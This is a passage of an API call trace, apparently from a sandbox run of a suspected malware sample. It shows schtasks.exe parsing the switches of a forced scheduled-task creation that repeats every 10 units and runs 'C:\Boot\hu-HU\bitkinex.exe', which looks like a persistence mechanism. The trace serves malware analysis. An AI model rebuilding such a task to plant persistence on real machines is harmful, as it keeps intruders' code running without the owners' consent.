returned 3 [0061.618] lstrlenW (lpString="|mo|") returned 4 [0061.618] SetLastError (dwErrCode=0x490) [0061.618] lstrlenW (lpString="s") returned 1 [0061.618] lstrlenW (lpString="s") returned 1 [0061.619] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.619] lstrlenW (lpString="mo") returned 2 [0061.619] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.619] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|s|") returned 3 [0061.619] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.619] lstrlenW (lpString="|s|") returned 3 [0061.619] lstrlenW (lpString="|mo|") returned 4 [0061.619] SetLastError (dwErrCode=0x490) [0061.619] lstrlenW (lpString="u") returned 1 [0061.619] lstrlenW (lpString="u") returned 1 [0061.619] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.619] lstrlenW (lpString="mo") returned 2 [0061.619] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.619] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|u|") returned 3 [0061.619] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.619] lstrlenW (lpString="|u|") returned 3 [0061.619] lstrlenW (lpString="|mo|") returned 4 [0061.619] SetLastError (dwErrCode=0x490) [0061.619] lstrlenW (lpString="p") returned 1 [0061.619] lstrlenW (lpString="p") returned 1 [0061.619] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.619] lstrlenW (lpString="mo") returned 2 [0061.619] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.619] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|p|") returned 3 [0061.619] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.619] lstrlenW (lpString="|p|") returned 3 [0061.619] lstrlenW (lpString="|mo|") returned 4 [0061.619] SetLastError (dwErrCode=0x490) [0061.619] lstrlenW (lpString="ru") returned 2 [0061.620] lstrlenW (lpString="ru") returned 2 [0061.620] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.620] lstrlenW (lpString="mo") returned 2 [0061.620] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.620] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|ru|") returned 4 [0061.620] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.620] lstrlenW (lpString="|ru|") returned 4 [0061.620] lstrlenW (lpString="|mo|") returned 4 [0061.620] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0061.620] SetLastError (dwErrCode=0x490) [0061.620] lstrlenW (lpString="rp") returned 2 [0061.620] lstrlenW (lpString="rp") returned 2 [0061.620] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.620] lstrlenW (lpString="mo") returned 2 [0061.620] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.620] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|rp|") returned 4 [0061.620] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.620] lstrlenW (lpString="|rp|") returned 4 [0061.620] lstrlenW (lpString="|mo|") returned 4 [0061.620] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0061.620] SetLastError (dwErrCode=0x490) [0061.620] lstrlenW (lpString="sc") returned 2 [0061.620] lstrlenW (lpString="sc") returned 2 [0061.620] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.620] lstrlenW (lpString="mo") returned 2 [0061.620] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.620] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.620] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.620] lstrlenW (lpString="|sc|") returned 4 [0061.621] lstrlenW (lpString="|mo|") returned 4 [0061.621] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0061.621] SetLastError (dwErrCode=0x490) [0061.621] lstrlenW (lpString="mo") returned 2 [0061.621] lstrlenW (lpString="mo") returned 2 [0061.621] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.621] lstrlenW (lpString="mo") returned 2 [0061.621] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.621] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.621] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.621] lstrlenW (lpString="|mo|") returned 4 [0061.621] lstrlenW (lpString="|mo|") returned 4 [0061.621] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0061.621] SetLastError (dwErrCode=0x0) [0061.621] SetLastError (dwErrCode=0x0) [0061.621] lstrlenW (lpString="10") returned 2 [0061.621] lstrlenW (lpString="-/") returned 2 [0061.621] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0061.621] SetLastError (dwErrCode=0x490) [0061.621] SetLastError (dwErrCode=0x490) [0061.621] SetLastError (dwErrCode=0x0) [0061.621] lstrlenW (lpString="10") returned 2 [0061.621] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0061.621] SetLastError (dwErrCode=0x490) [0061.621] SetLastError (dwErrCode=0x0) [0061.621] _memicmp (_Buf1=0x32d660, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.621] lstrlenW (lpString="10") returned 2 [0061.621] lstrlenW (lpString="10") returned 2 [0061.621] lstrlenW (lpString=" \x09") returned 2 [0061.621] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0061.621] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0061.621] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0061.621] GetLastError () returned 0x0 [0061.621] lstrlenW (lpString="10") returned 2 [0061.622] lstrlenW (lpString="10") returned 2 [0061.622] GetProcessHeap () returned 0x310000 [0061.622] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x6) returned 0x32bab0 [0061.622] SetLastError (dwErrCode=0x0) [0061.622] SetLastError (dwErrCode=0x0) [0061.622] lstrlenW (lpString="/tr") returned 3 [0061.622] lstrlenW (lpString="-/") returned 2 [0061.622] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.622] lstrlenW (lpString="create") returned 6 [0061.622] lstrlenW (lpString="create") returned 6 [0061.622] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.622] lstrlenW (lpString="tr") returned 2 [0061.622] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.622] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|create|") returned 8 [0061.622] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.622] lstrlenW (lpString="|create|") returned 8 [0061.622] lstrlenW (lpString="|tr|") returned 4 [0061.622] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0061.622] SetLastError (dwErrCode=0x490) [0061.622] lstrlenW (lpString="?") returned 1 [0061.622] lstrlenW (lpString="?") returned 1 [0061.622] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.622] lstrlenW (lpString="tr") returned 2 [0061.622] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.622] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|?|") returned 3 [0061.622] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.622] lstrlenW (lpString="|?|") returned 3 [0061.622] lstrlenW (lpString="|tr|") returned 4 [0061.622] SetLastError (dwErrCode=0x490) [0061.622] lstrlenW (lpString="s") returned 1 [0061.622] lstrlenW (lpString="s") returned 1 [0061.622] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.623] lstrlenW (lpString="tr") returned 2 [0061.623] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.623] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|s|") returned 3 [0061.623] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.623] lstrlenW (lpString="|s|") returned 3 [0061.623] lstrlenW (lpString="|tr|") returned 4 [0061.623] SetLastError (dwErrCode=0x490) [0061.623] lstrlenW (lpString="u") returned 1 [0061.623] lstrlenW (lpString="u") returned 1 [0061.623] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.623] lstrlenW (lpString="tr") returned 2 [0061.623] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.623] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|u|") returned 3 [0061.623] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.623] lstrlenW (lpString="|u|") returned 3 [0061.623] lstrlenW (lpString="|tr|") returned 4 [0061.623] SetLastError (dwErrCode=0x490) [0061.623] lstrlenW (lpString="p") returned 1 [0061.623] lstrlenW (lpString="p") returned 1 [0061.623] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.623] lstrlenW (lpString="tr") returned 2 [0061.623] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.623] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|p|") returned 3 [0061.623] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.623] lstrlenW (lpString="|p|") returned 3 [0061.623] lstrlenW (lpString="|tr|") returned 4 [0061.623] SetLastError (dwErrCode=0x490) [0061.623] lstrlenW (lpString="ru") returned 2 [0061.624] lstrlenW (lpString="ru") returned 2 [0061.624] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.624] lstrlenW (lpString="tr") returned 2 [0061.624] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.624] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|ru|") returned 4 [0061.624] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.624] lstrlenW (lpString="|ru|") returned 4 [0061.624] lstrlenW (lpString="|tr|") returned 4 [0061.624] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0061.624] SetLastError (dwErrCode=0x490) [0061.624] lstrlenW (lpString="rp") returned 2 [0061.624] lstrlenW (lpString="rp") returned 2 [0061.624] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.624] lstrlenW (lpString="tr") returned 2 [0061.624] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.624] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|rp|") returned 4 [0061.624] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.624] lstrlenW (lpString="|rp|") returned 4 [0061.624] lstrlenW (lpString="|tr|") returned 4 [0061.624] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0061.624] SetLastError (dwErrCode=0x490) [0061.624] lstrlenW (lpString="sc") returned 2 [0061.624] lstrlenW (lpString="sc") returned 2 [0061.624] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.624] lstrlenW (lpString="tr") returned 2 [0061.624] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.625] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.625] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.625] lstrlenW (lpString="|sc|") returned 4 [0061.625] lstrlenW (lpString="|tr|") returned 4 [0061.625] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0061.625] SetLastError (dwErrCode=0x490) [0061.625] lstrlenW (lpString="mo") returned 2 [0061.625] lstrlenW (lpString="mo") returned 2 [0061.625] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.625] lstrlenW (lpString="tr") returned 2 [0061.625] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.625] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.625] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.625] lstrlenW (lpString="|mo|") returned 4 [0061.625] lstrlenW (lpString="|tr|") returned 4 [0061.625] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0061.625] SetLastError (dwErrCode=0x490) [0061.625] lstrlenW (lpString="d") returned 1 [0061.625] lstrlenW (lpString="d") returned 1 [0061.625] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.625] lstrlenW (lpString="tr") returned 2 [0061.625] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.625] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|d|") returned 3 [0061.625] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.625] lstrlenW (lpString="|d|") returned 3 [0061.625] lstrlenW (lpString="|tr|") returned 4 [0061.625] SetLastError (dwErrCode=0x490) [0061.625] lstrlenW (lpString="m") returned 1 [0061.625] lstrlenW (lpString="m") returned 1 [0061.625] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.626] lstrlenW (lpString="tr") returned 2 [0061.626] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.626] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|m|") returned 3 [0061.626] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.626] lstrlenW (lpString="|m|") returned 3 [0061.626] lstrlenW (lpString="|tr|") returned 4 [0061.626] SetLastError (dwErrCode=0x490) [0061.626] lstrlenW (lpString="i") returned 1 [0061.626] lstrlenW (lpString="i") returned 1 [0061.626] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.626] lstrlenW (lpString="tr") returned 2 [0061.626] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.626] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|i|") returned 3 [0061.626] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.626] lstrlenW (lpString="|i|") returned 3 [0061.626] lstrlenW (lpString="|tr|") returned 4 [0061.626] SetLastError (dwErrCode=0x490) [0061.626] lstrlenW (lpString="tn") returned 2 [0061.626] lstrlenW (lpString="tn") returned 2 [0061.626] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.626] lstrlenW (lpString="tr") returned 2 [0061.626] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.626] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.626] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.626] lstrlenW (lpString="|tn|") returned 4 [0061.626] lstrlenW (lpString="|tr|") returned 4 [0061.626] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0061.626] SetLastError (dwErrCode=0x490) [0061.626] lstrlenW (lpString="tr") returned 2 [0061.626] lstrlenW (lpString="tr") returned 2 [0061.626] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.627] lstrlenW (lpString="tr") returned 2 [0061.627] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.627] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.627] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.627] lstrlenW (lpString="|tr|") returned 4 [0061.627] lstrlenW (lpString="|tr|") returned 4 [0061.627] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0061.627] SetLastError (dwErrCode=0x0) [0061.627] SetLastError (dwErrCode=0x0) [0061.627] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.627] lstrlenW (lpString="-/") returned 2 [0061.627] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0061.627] SetLastError (dwErrCode=0x490) [0061.627] SetLastError (dwErrCode=0x490) [0061.627] SetLastError (dwErrCode=0x0) [0061.627] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.627] StrChrIW (lpStart="'C:\\Boot\\hu-HU\\bitkinex.exe'", wMatch=0x3a) returned=":\\Boot\\hu-HU\\bitkinex.exe'" [0061.627] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.627] _memicmp (_Buf1=0x32c430, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.627] _memicmp (_Buf1=0x32d600, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.627] SetLastError (dwErrCode=0x7a) [0061.627] SetLastError (dwErrCode=0x0) [0061.627] SetLastError (dwErrCode=0x0) [0061.627] lstrlenW (lpString="'C") returned 2 [0061.627] lstrlenW (lpString="-/") returned 2 [0061.627] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0061.627] SetLastError (dwErrCode=0x490) [0061.627] SetLastError (dwErrCode=0x490) [0061.627] SetLastError (dwErrCode=0x0) [0061.627] _memicmp (_Buf1=0x32d660, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.627] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.627] GetProcessHeap () returned 0x310000 [0061.628] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d680) returned 1 [0061.628] GetProcessHeap () returned 0x310000 [0061.628] RtlReAllocateHeap (Heap=0x310000, Flags=0xc, Ptr=0x32d680, Size=0x3a) returned 0x329480 [0061.628] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.628] lstrlenW (lpString=" \x09") returned 2 [0061.628] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0061.628] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0061.628] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0061.628] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0061.628] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0061.628] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0061.628] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0061.628] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0061.628] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0061.628] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0061.628] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0061.629] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0061.630] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0061.630] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0061.630] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0061.630] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0061.630] GetLastError () returned 0x0 [0061.630] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.630] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.630] SetLastError (dwErrCode=0x0) [0061.630] SetLastError (dwErrCode=0x0) [0061.630] lstrlenW (lpString="/f") returned 2 [0061.630] lstrlenW (lpString="-/") returned 2 [0061.630] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.630] lstrlenW (lpString="create") returned 6 [0061.630] lstrlenW (lpString="create") returned 6 [0061.630] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.630] lstrlenW (lpString="f") returned 1 [0061.630] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.630] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|create|") returned 8 [0061.630] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.630] lstrlenW (lpString="|create|") returned 8 [0061.631] lstrlenW (lpString="|f|") returned 3 [0061.631] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0061.631] SetLastError (dwErrCode=0x490) [0061.631] lstrlenW (lpString="?") returned 1 [0061.631] lstrlenW (lpString="?") returned 1 [0061.631] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.631] lstrlenW (lpString="f") returned 1 [0061.631] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.631] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|?|") returned 3 [0061.631] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.631] lstrlenW (lpString="|?|") returned 3 [0061.631] lstrlenW (lpString="|f|") returned 3 [0061.631] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0061.631] SetLastError (dwErrCode=0x490) [0061.631] lstrlenW (lpString="s") returned 1 [0061.631] lstrlenW (lpString="s") returned 1 [0061.631] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.631] lstrlenW (lpString="f") returned 1 [0061.631] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.631] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|s|") returned 3 [0061.631] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.631] lstrlenW (lpString="|s|") returned 3 [0061.631] lstrlenW (lpString="|f|") returned 3 [0061.631] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0061.631] SetLastError (dwErrCode=0x490) [0061.631] lstrlenW (lpString="u") returned 1 [0061.631] lstrlenW (lpString="u") returned 1 [0061.631] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.631] lstrlenW (lpString="f") returned 1 [0061.631] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.632] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|u|") returned 3 [0061.632] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.632] lstrlenW (lpString="|u|") returned 3 [0061.632] lstrlenW (lpString="|f|") returned 3 [0061.632] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0061.632] SetLastError (dwErrCode=0x490) [0061.632] lstrlenW (lpString="p") returned 1 [0061.632] lstrlenW (lpString="p") returned 1 [0061.632] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.632] lstrlenW (lpString="f") returned 1 [0061.632] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.632] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|p|") returned 3 [0061.632] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.632] lstrlenW (lpString="|p|") returned 3 [0061.632] lstrlenW (lpString="|f|") returned 3 [0061.632] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0061.632] SetLastError (dwErrCode=0x490) [0061.632] lstrlenW (lpString="ru") returned 2 [0061.632] lstrlenW (lpString="ru") returned 2 [0061.632] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.632] lstrlenW (lpString="f") returned 1 [0061.632] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.632] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|ru|") returned 4 [0061.632] _vsnwprintf (in: 